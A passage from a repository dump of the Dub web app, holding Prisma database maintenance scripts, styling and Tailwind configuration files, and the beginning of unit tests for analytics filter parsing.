    "content": "import { prisma } from \"@dub/prisma\";\nimport { chunk } from \"@dub/utils\";\nimport \"dotenv-flow/config\";\nimport { syncTotalCommissions } from \"../lib/api/partners/sync-total-commissions\";\n\nasync function main() {\n  const programEnrollments = await prisma.programEnrollment.findMany({\n    where: {\n      totalCommissions: {\n        gt: 0,\n      },\n    },\n  });\n\n  console.table(`Found ${programEnrollments.length} program enrollments`);\n  const chunks = chunk(programEnrollments, 100);\n  for (let i = 0; i < chunks.length; i++) {\n    const chunk = chunks[i];\n    const res = await Promise.allSettled(\n      chunk.map(async (programEnrollment) => {\n        return await syncTotalCommissions({\n          partnerId: programEnrollment.partnerId,\n          programId: programEnrollment.programId,\n        });\n      }),\n    );\n    const successCount = res.filter((r) => r.status === \"fulfilled\").length;\n    const errorCount = res.filter((r) => r.status === \"rejected\").length;\n    console.log(\n      `Processed chunk ${i + 1} of ${chunks.length} (${successCount} successes, ${errorCount} errors)`,\n    );\n    // sleep for 500ms\n    await new Promise((resolve) => setTimeout(resolve, 500));\n  }\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/unban-links.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport { LEGAL_WORKSPACE_ID } from \"@dub/utils\";\nimport \"dotenv-flow/config\";\nimport { linkCache } from \"../lib/api/links/cache\";\n\nasync function main() {\n  const links = await prisma.link.findMany({\n    where: {\n      projectId: LEGAL_WORKSPACE_ID,\n      url: {\n        contains: \"xxxxxxx\",\n      },\n      domain: \"dub.sh\",\n    },\n    select: {\n      id: true,\n      domain: true,\n      key: true,\n    },\n    take: 1000,\n  });\n\n  const redisRes = await linkCache.expireMany(links);\n\n  const prismaRes = await prisma.link.updateMany({\n    where: {\n      id: {\n        in: links.map((link) => link.id),\n      },\n    },\n    data: {\n      projectId: \"xxx\",\n      userId: \"xxx\",\n    },\n  });\n\n  console.table(links);\n  console.table(redisRes);\n  console.table(prismaRes);\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/update-integrations.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport \"dotenv-flow/config\";\n\nasync function main() {\n  const urls = [\n    {\n      slug: \"raycast\",\n      installUrl: \"https://www.raycast.com/dubinc/dub\",\n    },\n    {\n      slug: \"zapier\",\n      installUrl: \"https://zapier.com/apps/dub/integrations\",\n    },\n  ];\n\n  for (const { slug, installUrl } of urls) {\n    await prisma.integration.update({\n      where: {\n        slug,\n      },\n      data: {\n        installUrl,\n      },\n    });\n\n    console.log(`Updated ${slug} integration with install URL: ${installUrl}`);\n  }\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/update-link-owner.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport \"dotenv-flow/config\";\n\nconst projectSlug = \"xxx\";\n\nasync function main() {\n  const owner = await prisma.projectUsers.findMany({\n    where: {\n      project: {\n        slug: projectSlug,\n      },\n      role: \"owner\",\n    },\n    select: {\n      user: {\n        select: {\n          id: true,\n        },\n      },\n    },\n  });\n\n  const updateOwner = await prisma.link.updateMany({\n    where: {\n      project: {\n        slug: projectSlug,\n      },\n      userId: null,\n    },\n    data: {\n      userId: owner[0].user.id,\n    },\n  });\n\n  console.log(owner, updateOwner);\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/update-not-found.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport \"dotenv-flow/config\";\n\nasync function main() {\n  const domains = await prisma.domain.updateMany({\n    where: {\n      placeholder: \"https://dub.co/help/article/dub-links\",\n    },\n    data: {\n      placeholder: null,\n    },\n  });\n\n  console.log(domains);\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/update-payment-failed.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport \"dotenv-flow/config\";\nimport * as fs from \"fs\";\nimport * as Papa from \"papaparse\";\n\nconst stripeCustomers: { stripeId: string; paymentFailedAt: string }[] = [];\n\nasync function main() {\n  Papa.parse(fs.createReadStream(\"unified_payments.csv\", \"utf-8\"), {\n    header: true,\n    step: (result: { data: any }) => {\n      stripeCustomers.push({\n        stripeId: result.data[\"Customer ID\"],\n        paymentFailedAt: result.data[\"Created date (UTC)\"],\n      });\n    },\n    complete: async () => {\n      const validWorkspaces = await prisma.project.findMany({\n        where: {\n          stripeId: {\n            in: stripeCustomers.map((c) => c.stripeId),\n          },\n          plan: {\n            not: \"free\",\n          },\n        },\n      });\n\n      const workspaceToUpdate = validWorkspaces.map((w) => {\n        const stripeCustomer = stripeCustomers.find(\n          (c) => c.stripeId === w.stripeId,\n        );\n        return {\n          id: w.id,\n          slug: w.slug,\n          plan: w.plan,\n          stripeId: w.stripeId,\n          paymentFailedAt: stripeCustomer?.paymentFailedAt,\n        };\n      });\n\n      console.log({ stripeCustomers: stripeCustomers.length });\n      console.table(workspaceToUpdate.slice(0, 10));\n    },\n  });\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/update-payouts-limits.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport \"dotenv-flow/config\";\nimport * as fs from \"fs\";\nimport * as Papa from \"papaparse\";\n\nconst stripeIds: string[] = [];\n\nasync function main() {\n  Papa.parse(fs.createReadStream(\"business_monthly.csv\", \"utf-8\"), {\n    header: true,\n    step: (result: { data: any }) => {\n      stripeIds.push(result.data[\"Customer ID\"]);\n    },\n    complete: async () => {\n      const res = await prisma.project.updateMany({\n        where: {\n          // plan: \"business\",\n          stripeId: {\n            in: stripeIds,\n          },\n        },\n        data: {\n          // payoutsLimit: 0,\n          payoutsLimit: 2_500_00,\n        },\n      });\n\n      console.log({ res });\n    },\n  });\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/update-referral-form-data.ts",
    "content": "import { referralFormSchema } from \"@/lib/zod/schemas/referral-form\";\nimport { prisma } from \"@dub/prisma\";\nimport { ACME_PROGRAM_ID } from \"@dub/utils\";\nimport \"dotenv-flow/config\";\nimport { readFileSync } from \"fs\";\n\nasync function main() {\n  const programId = ACME_PROGRAM_ID;\n  const jsonFilePath = \"./scripts/referral-form-sample.json\";\n\n  // Read and parse JSON file\n  let formData;\n  try {\n    const fileContent = readFileSync(jsonFilePath, \"utf-8\");\n    formData = JSON.parse(fileContent);\n  } catch (error) {\n    console.error(`Error reading JSON file: ${error}`);\n    process.exit(1);\n  }\n\n  // Validate JSON against schema\n  let validatedData;\n  try {\n    validatedData = referralFormSchema.parse(formData);\n  } catch (error) {\n    console.error(\"Validation failed:\", error);\n    process.exit(1);\n  }\n\n  await prisma.program.update({\n    where: {\n      id: programId,\n    },\n    data: {\n      referralFormData: validatedData,\n    },\n  });\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/update-spam-links.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport \"dotenv-flow/config\";\n\nasync function main() {\n  const updateOwner = await prisma.link.updateMany({\n    where: {\n      url: {\n        contains: \"evirtualservices.co\",\n      },\n      userId: null,\n    },\n    data: {\n      userId: \"clqei1lgc0000vsnzi01pbf47\",\n    },\n  });\n\n  console.log(updateOwner);\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/update-subscribers.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport \"dotenv-flow/config\";\n\nasync function main() {\n  const partnerUsers = await prisma.user.findMany({\n    where: {\n      partners: {\n        some: {},\n      },\n      projects: {\n        some: {},\n      },\n    },\n    orderBy: {\n      createdAt: \"asc\",\n    },\n    skip: 200,\n  });\n\n  console.log(`Found ${partnerUsers.length} partner users`);\n\n  for (const user of partnerUsers) {\n    if (!user.email) {\n      console.log(`Skipping ${user.id} because they have no email`);\n      continue;\n    }\n\n    console.log(\n      `Subscribed ${user.email} to partners.dub.co and unsubscribed from app.dub.co`,\n    );\n  }\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/update-user-notifications.ts",
    "content": "import { prisma } from \"@dub/prisma\";\n\nimport \"dotenv-flow/config\";\n\nasync function main() {\n  const workspaceUsers = await prisma.projectUsers.findMany({\n    where: {\n      user: {\n        isMachine: false,\n      },\n      notificationPreference: null,\n    },\n    select: {\n      id: true,\n    },\n    take: 1000,\n    skip: 0,\n  });\n\n  if (!workspaceUsers) {\n    return;\n  }\n\n  const result = await prisma.notificationPreference.createMany({\n    data: workspaceUsers.map((workspaceUser) => {\n      return {\n        projectUserId: workspaceUser.id,\n      };\n    }),\n  });\n\n  console.log(\n    \"Created notification preferences for\",\n    result.count,\n    \"workspace users\",\n  );\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/update-webhook-cache.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport \"dotenv-flow/config\";\nimport { webhookCache } from \"../lib/webhook/cache\";\n\nasync function main() {\n  // Find link level webhooks\n  const linkLevelWebhooks = await prisma.webhook.findMany({\n    where: {\n      triggers: {\n        array_contains: [\"link.clicked\"],\n      },\n    },\n    select: {\n      id: true,\n      url: true,\n      secret: true,\n      triggers: true,\n      disabledAt: true,\n    },\n    take: 100,\n  });\n\n  const result = await Promise.all(\n    linkLevelWebhooks.map((webhook) => webhookCache.set(webhook)),\n  );\n\n  console.log(`Cache updated for ${result.length} webhooks`);\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/update-workspace-dates.ts",
    "content": "import { redis } from \"@/lib/upstash\";\nimport { prisma } from \"@dub/prisma\";\nimport \"dotenv-flow/config\";\n\nasync function main() {\n  // original hash was migrated_links_users, we archived it to migrated_links_users_archived\n  const migratedWorkspaces = await redis.hgetall<Record<string, string>>(\n    \"migrated_links_users\", // migrated_links_users_archived\n  );\n\n  if (!migratedWorkspaces) {\n    console.log(\"No workspaces to update\");\n    return;\n  }\n\n  const workspacesToUpdate = await Promise.all(\n    Object.entries(migratedWorkspaces).map(async ([_userId, projectId]) => {\n      const earliestLink = await prisma.link.findFirst({\n        where: {\n          projectId,\n        },\n        orderBy: {\n          createdAt: \"asc\",\n        },\n        select: {\n          createdAt: true,\n        },\n      });\n\n      if (!earliestLink) {\n        return null;\n      }\n\n      return await prisma.project.update({\n        where: {\n          id: projectId,\n        },\n        data: {\n          createdAt: earliestLink.createdAt,\n        },\n      });\n    }),\n  ).then((workspaces) => workspaces.filter(Boolean));\n\n  console.log(workspacesToUpdate);\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/update-workspace-tags.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport { INFINITY_NUMBER } from \"@dub/utils\";\nimport \"dotenv-flow/config\";\n\nasync function main() {\n  const workspaces = await prisma.project.updateMany({\n    where: {\n      plan: {\n        notIn: [\"free\", \"pro\"],\n      },\n    },\n    data: {\n      tagsLimit: INFINITY_NUMBER,\n    },\n  });\n\n  console.table(workspaces);\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/upload-users.ts",
    "content": "import \"dotenv-flow/config\";\nimport * as fs from \"fs\";\nimport * as Papa from \"papaparse\";\n\nlet users: { email: string; name?: string }[] = [];\n\nasync function main() {\n  Papa.parse(fs.createReadStream(\"all-dub-users.csv\", \"utf-8\"), {\n    header: true,\n    skipEmptyLines: true,\n    step: (result: { data: any }) => {\n      users.push(result.data);\n    },\n    complete: async () => {\n      if (users.length === 0) {\n        console.log(\"No users found\");\n        return;\n      }\n\n      // upload top 95 users\n      await Promise.all(users.slice(0, 95).map(({ email, name }) => {}));\n\n      console.log(`Uploaded 95 users, ${users.length - 95} remaining`);\n\n      // write remaining to csv\n      fs.writeFileSync(\"all-dub-users.csv\", Papa.unparse(users.slice(95)));\n    },\n  });\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/wispr-flow/update-links.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport \"dotenv-flow/config\";\nimport { linkCache } from \"../../lib/api/links/cache\";\n\n// update links\nasync function main() {\n  const url = undefined;\n  if (!url) {\n    console.log(\"No url provided\");\n    return;\n  }\n\n  const links = await prisma.link.findMany({\n    where: {\n      folderId: \"fold_mslj7fMwqZPIFJqPQIoenL8H\",\n      ios: {\n        not: url,\n      },\n    },\n    take: 100,\n  });\n\n  const updatedLinks = await prisma.link.updateMany({\n    where: {\n      id: {\n        in: links.map((link) => link.id),\n      },\n    },\n    data: {\n      ios: url,\n    },\n  });\n\n  console.log(updatedLinks);\n\n  const res = await linkCache.expireMany(links);\n\n  console.log(res);\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/styles/fonts.ts",
    "content": "import { GeistMono } from \"geist/font/mono\";\nimport { Inter } from \"next/font/google\";\nimport localFont from \"next/font/local\";\n\nexport const satoshi = localFont({\n  src: \"../styles/Satoshi-Variable.woff2\",\n  variable: \"--font-satoshi\",\n  weight: \"300 900\",\n  display: \"swap\",\n  style: \"normal\",\n});\n\nexport const inter = Inter({\n  variable: \"--font-inter\",\n  subsets: [\"latin\"],\n});\n\nexport const geistMono = GeistMono;\n"
  },
  {
    "path": "apps/web/styles/globals.css",
    "content": "@import \"../../../packages/tailwind-config/themes.css\";\n\n@tailwind base;\n@tailwind components;\n@tailwind utilities;\n\n/* Hide the react-medium-image-zoom unzoom button */\n[data-rmiz-btn-unzoom] {\n  visibility: hidden;\n}\n\ncode {\n  counter-reset: step;\n  counter-increment: step 0;\n}\n\ncode .line::before {\n  content: counter(step);\n  counter-increment: step;\n  width: 1rem;\n  padding-right: 1.5rem;\n  display: inline-block;\n  position: sticky;\n  left: 0;\n  background-color: white;\n  text-align: right;\n  color: rgba(115, 138, 148, 0.4);\n}\n\n/* Hide the default number input spinners */\ninput[type=\"number\"]::-webkit-inner-spin-button,\ninput[type=\"number\"]::-webkit-outer-spin-button {\n  -webkit-appearance: none;\n  -moz-appearance: none;\n  appearance: none;\n  margin: 0;\n}\n\n/* Implement a custom scrollbar to preventing ugly looking scroll-overflows */\n.dub-scrollbar {\n  scrollbar-width: auto;\n  scrollbar-color: #d1d5db #ffffff;\n}\n\n.dub-scrollbar::-webkit-scrollbar {\n  width: 8px;\n  height: 8px;\n}\n\n.dub-scrollbar::-webkit-scrollbar-track {\n  background: transparent;\n}\n\n.dub-scrollbar::-webkit-scrollbar-thumb {\n  background-color: #d1d5db;\n  border-radius: 10px;\n}\n\n/* Earnings calculator slider */\n.earnings-slider {\n  -webkit-appearance: none;\n  appearance: none;\n  height: 4px;\n  border-radius: 999px;\n  outline: none;\n  cursor: pointer;\n}\n\n.earnings-slider::-webkit-slider-thumb {\n  -webkit-appearance: none;\n  appearance: none;\n  width: 12px;\n  height: 12px;\n  border-radius: 50%;\n  background: #262626;\n  cursor: pointer;\n  margin-top: -4px;\n}\n\n.earnings-slider::-moz-range-thumb {\n  width: 12px;\n  height: 12px;\n  border-radius: 50%;\n  background: #262626;\n  border: none;\n  cursor: pointer;\n}\n\n.earnings-slider::-webkit-slider-runnable-track {\n  height: 4px;\n  border-radius: 999px;\n}\n\n.earnings-slider::-moz-range-track {\n  height: 4px;\n  border-radius: 999px;\n}\n\n/* Override Sonner toast border radius from 8px to 10px (Tailwind rounded-2xl) */\n[data-sonner-toast] {\n  border-radius: 10px !important;\n}\n"
  },
  {
    "path": "apps/web/tailwind.config.ts",
    "content": "import sharedConfig from \"@dub/tailwind-config/tailwind.config\";\nimport type { Config } from \"tailwindcss\";\n\nconst config: Pick<Config, \"presets\"> = {\n  presets: [\n    {\n      ...sharedConfig,\n      content: [\n        \"./app/**/*.{js,ts,jsx,tsx}\",\n        \"./ui/**/*.{js,ts,jsx,tsx}\",\n        // h/t to https://www.willliu.com/blog/Why-your-Tailwind-styles-aren-t-working-in-your-Turborepo\n        \"../../packages/ui/src/**/*{.js,.ts,.jsx,.tsx}\",\n        \"../../packages/blocks/src/**/*{.js,.ts,.jsx,.tsx}\",\n      ],\n      theme: {\n        extend: {\n          ...sharedConfig?.theme?.extend,\n          animation: {\n            ...sharedConfig?.theme?.extend?.animation,\n            // Infinite scroll animation\n            \"infinite-scroll\": \"infinite-scroll 22s linear infinite\",\n            \"infinite-scroll-y\": \"infinite-scroll-y 22s linear infinite\",\n            // Text appear animation\n            \"text-appear\": \"text-appear 0.15s ease\",\n            // Table pinned column shadow animation\n            \"table-pinned-shadow\":\n              \"table-pinned-shadow cubic-bezier(0, 0, 1, 0)\",\n            // OTP caret blink animation\n            \"caret-blink\": \"caret-blink 1s ease-out infinite\",\n            // Pulse scale animation used for onboarding/welcome\n            \"pulse-scale\": \"pulse-scale 6s ease-out infinite\",\n            \"gradient-move\": \"gradient-move 5s linear infinite\",\n            \"ellipsis-wave\": \"ellipsis-wave 1.5s ease-in-out infinite\",\n            float: \"float 4s linear infinite\",\n            \"partner-rewind-intro\": \"partner-rewind-intro 2s ease-in-out\",\n          },\n          keyframes: {\n            ...sharedConfig?.theme?.extend?.keyframes,\n            // Infinite scroll animation\n            \"infinite-scroll\": {\n              \"0%\": { transform: \"translateX(0)\" },\n              \"100%\": { transform: \"translateX(var(--scroll, -150%))\" },\n            },\n            \"infinite-scroll-y\": {\n              \"0%\": { transform: \"translateY(0)\" },\n              \"100%\": { transform: \"translateY(var(--scroll, -150%))\" },\n            },\n            // Text appear animation\n            \"text-appear\": {\n              \"0%\": {\n                opacity: \"0\",\n                transform: \"rotateX(45deg) scale(0.95)\",\n              },\n              \"100%\": {\n                opacity: \"1\",\n                transform: \"rotateX(0deg) scale(1)\",\n              },\n            },\n            // Table pinned column shadow animation\n            \"table-pinned-shadow\": {\n              \"0%\": { filter: \"drop-shadow(rgba(0, 0, 0, 0.1) -2px 10px 6px)\" },\n              \"100%\": { filter: \"drop-shadow(rgba(0, 0, 0, 0) -2px 10px 6px)\" },\n            },\n            // OTP caret blink animation\n            \"caret-blink\": {\n              \"0%,70%,100%\": { opacity: \"0\" },\n              \"20%,50%\": { opacity: \"1\" },\n            },\n            // Pulse scale animation used for onboarding/welcome\n            \"pulse-scale\": {\n              \"0%\": { transform: \"scale(0.8)\", opacity: \"0\" },\n              \"30%\": { opacity: \"1\" },\n              \"100%\": { transform: \"scale(2)\", opacity: \"0\" },\n            },\n            // Gradient move animation for gradient text\n            \"gradient-move\": {\n              \"0%\": { backgroundPosition: \"0% 50%\" },\n              \"100%\": { backgroundPosition: \"200% 50%\" },\n            },\n            // Ellipsis wave animation for loading/generating\n            \"ellipsis-wave\": {\n              \"0%,40%\": { transform: \"translateY(0)\" },\n              \"20%\": { transform: \"translateY(var(--offset, -10%))\" },\n            },\n            // Floating animation\n            float: {\n              \"0%\": {\n                transform:\n                  \"scale(1) rotate(0) translateX(var(--r, 5%)) rotate(0)\",\n              },\n              \"50%\": {\n                transform:\n                  \"scale(1.05) rotate(180deg) translateX(var(--r, 5%)) rotate(-180deg)\",\n              },\n              \"100%\": {\n                transform:\n                  \"scale(1) rotate(360deg) translateX(var(--r, 5%)) rotate(-360deg)\",\n              },\n            },\n            \"partner-rewind-intro\": {\n              \"0%,50%\": {\n                transform: \"scale(1.4) translateY(50%)\",\n              },\n              \"100%\": { transform: \"scale(1) translateY(0)\" },\n            },\n          },\n        },\n      },\n    },\n  ],\n};\n\nexport default config;\n"
  },
  {
    "path": "apps/web/tests/analytics/advanced-filter-helpers.test.ts",
    "content": "import {\n  buildAdvancedFilters,\n  ensureParsedFilter,\n  extractWorkspaceLinkFilters,\n} from \"@/lib/analytics/filter-helpers\";\nimport { buildFilterValue, parseFilterValue } from \"@dub/utils\";\nimport { describe, expect, test } from \"vitest\";\n\ndescribe(\"Advanced Filters - Unit Tests\", () => {\n  describe(\"parseFilterValue\", () => {\n    describe(\"Single Values\", () => {\n      test(\"single positive value\", () => {\n        const result = parseFilterValue(\"US\");\n        expect(result).toEqual({\n          operator: \"IS\",\n          sqlOperator: \"IN\",\n          values: [\"US\"],\n        });\n      });\n\n      test(\"single negative value\", () => {\n        const result = parseFilterValue(\"-US\");\n        expect(result).toEqual({\n          operator: \"IS_NOT\",\n          sqlOperator: \"NOT IN\",\n          values: [\"US\"],\n        });\n      });\n    });\n\n    describe(\"Multiple Values\", () => {\n      test(\"multiple positive values\", () => {\n        const result = parseFilterValue(\"US,BR,FR\");\n        expect(result).toEqual({\n          operator: \"IS_ONE_OF\",\n          sqlOperator: \"IN\",\n          values: [\"US\", \"BR\", \"FR\"],\n        });\n      });\n\n      test(\"multiple negative values\", () => {\n        const result = parseFilterValue(\"-US,BR,FR\");\n        expect(result).toEqual({\n          operator: \"IS_NOT_ONE_OF\",\n          sqlOperator: \"NOT IN\",\n          values: [\"US\", \"BR\", \"FR\"],\n        });\n      });\n\n      test(\"two values\", () => {\n        const result = parseFilterValue(\"mobile,desktop\");\n        expect(result).toEqual({\n          operator: \"IS_ONE_OF\",\n          sqlOperator: \"IN\",\n          values: [\"mobile\", \"desktop\"],\n        });\n      });\n    });\n\n    describe(\"Edge Cases\", () => {\n      test(\"empty string returns undefined\", () => {\n        expect(parseFilterValue(\"\")).toBeUndefined();\n      });\n\n      test(\"undefined returns undefined\", () => {\n        expect(parseFilterValue(undefined)).toBeUndefined();\n      });\n\n      test(\"filters empty values from comma-separated\", () => {\n        const result = parseFilterValue(\"US,,BR\");\n        expect(result?.values).toEqual([\"US\", \"BR\"]);\n      });\n\n      test(\"trailing comma\", () => {\n        const result = parseFilterValue(\"US,BR,\");\n        expect(result?.values).toEqual([\"US\", \"BR\"]);\n      });\n\n      test(\"only commas returns undefined\", () => {\n        expect(parseFilterValue(\",,,\")).toBeUndefined();\n      });\n\n      test(\"minus sign only returns undefined\", () => {\n        expect(parseFilterValue(\"-\")).toBeUndefined();\n      });\n\n      test(\"minus with empty values returns undefined\", () => {\n        expect(parseFilterValue(\"-,,,\")).toBeUndefined();\n      });\n    });\n\n    describe(\"Array Input\", () => {\n      test(\"array with single value\", () => {\n        const result = parseFilterValue([\"US\"]);\n        expect(result).toEqual({\n          operator: \"IS\",\n          sqlOperator: \"IN\",\n          values: [\"US\"],\n        });\n      });\n\n      test(\"array with multiple values\", () => {\n        const result = parseFilterValue([\"US\", \"BR\", \"FR\"]);\n        expect(result).toEqual({\n          operator: \"IS_ONE_OF\",\n          sqlOperator: \"IN\",\n          values: [\"US\", \"BR\", \"FR\"],\n        });\n      });\n    });\n  });\n\n  describe(\"buildFilterValue\", () => {\n    test(\"rebuild single positive value\", () => {\n      const result = buildFilterValue({\n        operator: \"IS\",\n        sqlOperator: \"IN\",\n        values: [\"US\"],\n      });\n      expect(result).toBe(\"US\");\n    });\n\n    test(\"rebuild multiple positive values\", () => {\n      const result = buildFilterValue({\n        operator: \"IS_ONE_OF\",\n        sqlOperator: \"IN\",\n        values: [\"US\", \"BR\", \"FR\"],\n      });\n      expect(result).toBe(\"US,BR,FR\");\n    });\n\n    test(\"rebuild single negative value\", () => {\n      const result = buildFilterValue({\n        operator: \"IS_NOT\",\n        sqlOperator: \"NOT IN\",\n        values: [\"US\"],\n      });\n      expect(result).toBe(\"-US\");\n    });\n\n    test(\"rebuild multiple negative values\", () => {\n      const result = buildFilterValue({\n        operator: \"IS_NOT_ONE_OF\",\n        sqlOperator: \"NOT IN\",\n        values: [\"US\", \"BR\"],\n      });\n      expect(result).toBe(\"-US,BR\");\n    });\n\n    describe(\"Round-trip\", () => {\n      test(\"single positive\", () => {\n        const original = \"US\";\n        const parsed = parseFilterValue(original)!;\n        const rebuilt = buildFilterValue(parsed);\n        expect(rebuilt).toBe(original);\n      });\n\n      test(\"multiple positive\", () => {\n        const original = \"US,BR,FR\";\n        const parsed = parseFilterValue(original)!;\n        const rebuilt = buildFilterValue(parsed);\n        expect(rebuilt).toBe(original);\n      });\n\n      test(\"single negative\", () => {\n        const original = \"-US\";\n        const parsed = parseFilterValue(original)!;\n        const rebuilt = buildFilterValue(parsed);\n        expect(rebuilt).toBe(original);\n      });\n\n      test(\"multiple negative\", () => {\n        const original = \"-US,BR,FR\";\n        const parsed = parseFilterValue(original)!;\n        const rebuilt = buildFilterValue(parsed);\n        expect(rebuilt).toBe(original);\n      });\n    });\n  });\n\n  describe(\"buildAdvancedFilters\", () => {\n    test(\"single field with IN operator (single value)\", () => {\n      const result = buildAdvancedFilters({\n        country: {\n          operator: \"IS\",\n          sqlOperator: \"IN\",\n          values: [\"US\"],\n        },\n      });\n      expect(result).toEqual([\n        {\n          field: \"country\",\n          operator: \"IN\",\n          values: [\"US\"],\n        },\n      ]);\n    });\n\n    test(\"single field with IN operator\", () => {\n      const result = buildAdvancedFilters({\n        country: {\n          operator: \"IS_ONE_OF\",\n          sqlOperator: \"IN\",\n          values: [\"US\", \"BR\", \"FR\"],\n        },\n      });\n      expect(result).toEqual([\n        {\n          field: \"country\",\n          operator: \"IN\",\n          values: [\"US\", \"BR\", \"FR\"],\n        },\n      ]);\n    });\n\n    test(\"single field with NOT IN operator\", () => {\n      const result = buildAdvancedFilters({\n        device: {\n          operator: \"IS_NOT_ONE_OF\",\n          sqlOperator: \"NOT IN\",\n          values: [\"Mobile\", \"Tablet\"],\n        },\n      });\n      expect(result).toEqual([\n        {\n          field: \"device\",\n          operator: \"NOT IN\",\n          values: [\"Mobile\", \"Tablet\"],\n        },\n      ]);\n    });\n\n    test(\"multiple fields combined\", () => {\n      const result = buildAdvancedFilters({\n        country: {\n          operator: \"IS_ONE_OF\",\n          sqlOperator: \"IN\",\n          values: [\"US\", \"BR\"],\n        },\n        device: {\n          operator: \"IS\",\n          sqlOperator: \"IN\",\n          values: [\"Desktop\"],\n        },\n      });\n      expect(result).toHaveLength(2);\n      expect(result).toContainEqual({\n        field: \"country\",\n        operator: \"IN\",\n        values: [\"US\", \"BR\"],\n      });\n      expect(result).toContainEqual({\n        field: \"device\",\n        operator: \"IN\",\n        values: [\"Desktop\"],\n      });\n    });\n\n    test(\"empty params returns empty array\", () => {\n      const result = buildAdvancedFilters({});\n      expect(result).toEqual([]);\n    });\n\n    test(\"skips undefined fields\", () => {\n      const result = buildAdvancedFilters({\n        country: {\n          operator: \"IS\",\n          sqlOperator: \"IN\",\n          values: [\"US\"],\n        },\n        city: undefined,\n        device: undefined,\n      });\n      expect(result).toHaveLength(1);\n      expect(result[0].field).toBe(\"country\");\n    });\n\n    test(\"handles all supported fields\", () => {\n      const result = buildAdvancedFilters({\n        country: { operator: \"IS\", sqlOperator: \"IN\", values: [\"US\"] },\n        city: { operator: \"IS\", sqlOperator: \"IN\", values: [\"NYC\"] },\n        device: { operator: \"IS\", sqlOperator: \"IN\", values: [\"Mobile\"] },\n        browser: { operator: \"IS\", sqlOperator: \"IN\", values: [\"Chrome\"] },\n        os: { operator: \"IS\", sqlOperator: \"IN\", values: [\"Mac\"] },\n      });\n      expect(result).toHaveLength(5);\n      expect(result.map((f) => f.field)).toEqual([\n        \"country\",\n        \"city\",\n        \"device\",\n        \"browser\",\n        \"os\",\n      ]);\n    });\n\n    test(\"maintains insertion order\", () => {\n      const result = buildAdvancedFilters({\n        device: { operator: \"IS\", sqlOperator: \"IN\", values: [\"Mobile\"] },\n        country: { operator: \"IS\", sqlOperator: \"IN\", values: [\"US\"] },\n        browser: { operator: \"IS\", sqlOperator: \"IN\", values: [\"Chrome\"] },\n      });\n      // Should maintain order from SUPPORTED_FIELDS, not insertion order\n      expect(result[0].field).toBe(\"country\");\n      expect(result[1].field).toBe(\"device\");\n      expect(result[2].field).toBe(\"browser\");\n    });\n  });\n\n  describe(\"ensureParsedFilter\", () => {\n    test(\"returns undefined for undefined input\", () => {\n      expect(ensureParsedFilter(undefined)).toBeUndefined();\n    });\n\n    test(\"returns undefined for empty string\", () => {\n      expect(ensureParsedFilter(\"\")).toBeUndefined();\n    });\n\n    test(\"converts plain string to IS ParsedFilter\", () => {\n      const result = ensureParsedFilter(\"pn_abc123\");\n      expect(result).toEqual({\n        operator: \"IS\",\n        sqlOperator: \"IN\",\n        values: [\"pn_abc123\"],\n      });\n    });\n\n    test(\"passes through ParsedFilter unchanged (IS)\", () => {\n      const input = {\n        operator: \"IS\" as const,\n        sqlOperator: \"IN\" as const,\n        values: [\"pn_abc123\"],\n      };\n      expect(ensureParsedFilter(input)).toEqual(input);\n    });\n\n    test(\"passes through ParsedFilter unchanged (IS_NOT)\", () => {\n      const input = {\n        operator: \"IS_NOT\" as const,\n        sqlOperator: \"NOT IN\" as const,\n        values: [\"pn_abc123\"],\n      };\n      expect(ensureParsedFilter(input)).toEqual(input);\n    });\n\n    test(\"passes through ParsedFilter with multiple values\", () => {\n      const input = {\n        operator: \"IS_ONE_OF\" as const,\n        sqlOperator: \"IN\" as const,\n        values: [\"pn_abc123\", \"pn_def456\"],\n      };\n      expect(ensureParsedFilter(input)).toEqual(input);\n    });\n\n    test(\"passes through negated ParsedFilter with multiple values\", () => {\n      const input = {\n        operator: \"IS_NOT_ONE_OF\" as const,\n        sqlOperator: \"NOT IN\" as const,\n        values: [\"pn_abc123\", \"pn_def456\"],\n      };\n      expect(ensureParsedFilter(input)).toEqual(input);\n    });\n  });\n\n  describe(\"extractWorkspaceLinkFilters - partnerId\", () => {\n    test(\"extracts single partnerId with IN operator\", () => {\n      const result = extractWorkspaceLinkFilters({\n        partnerId: {\n          operator: \"IS\",\n          sqlOperator: \"IN\",\n          values: [\"pn_abc123\"],\n        },\n      });\n      expect(result.partnerId).toEqual([\"pn_abc123\"]);\n      expect(result.partnerIdOperator).toBe(\"IN\");\n    });\n\n    test(\"extracts multiple partnerIds with IN operator\", () => {\n      const result = extractWorkspaceLinkFilters({\n        partnerId: {\n          operator: \"IS_ONE_OF\",\n          sqlOperator: \"IN\",\n          values: [\"pn_abc123\", \"pn_def456\", \"pn_ghi789\"],\n        },\n      });\n      expect(result.partnerId).toEqual([\"pn_abc123\", \"pn_def456\", \"pn_ghi789\"]);\n      expect(result.partnerIdOperator).toBe(\"IN\");\n    });\n\n    test(\"extracts single partnerId with NOT IN operator\", () => {\n      const result = extractWorkspaceLinkFilters({\n        partnerId: {\n       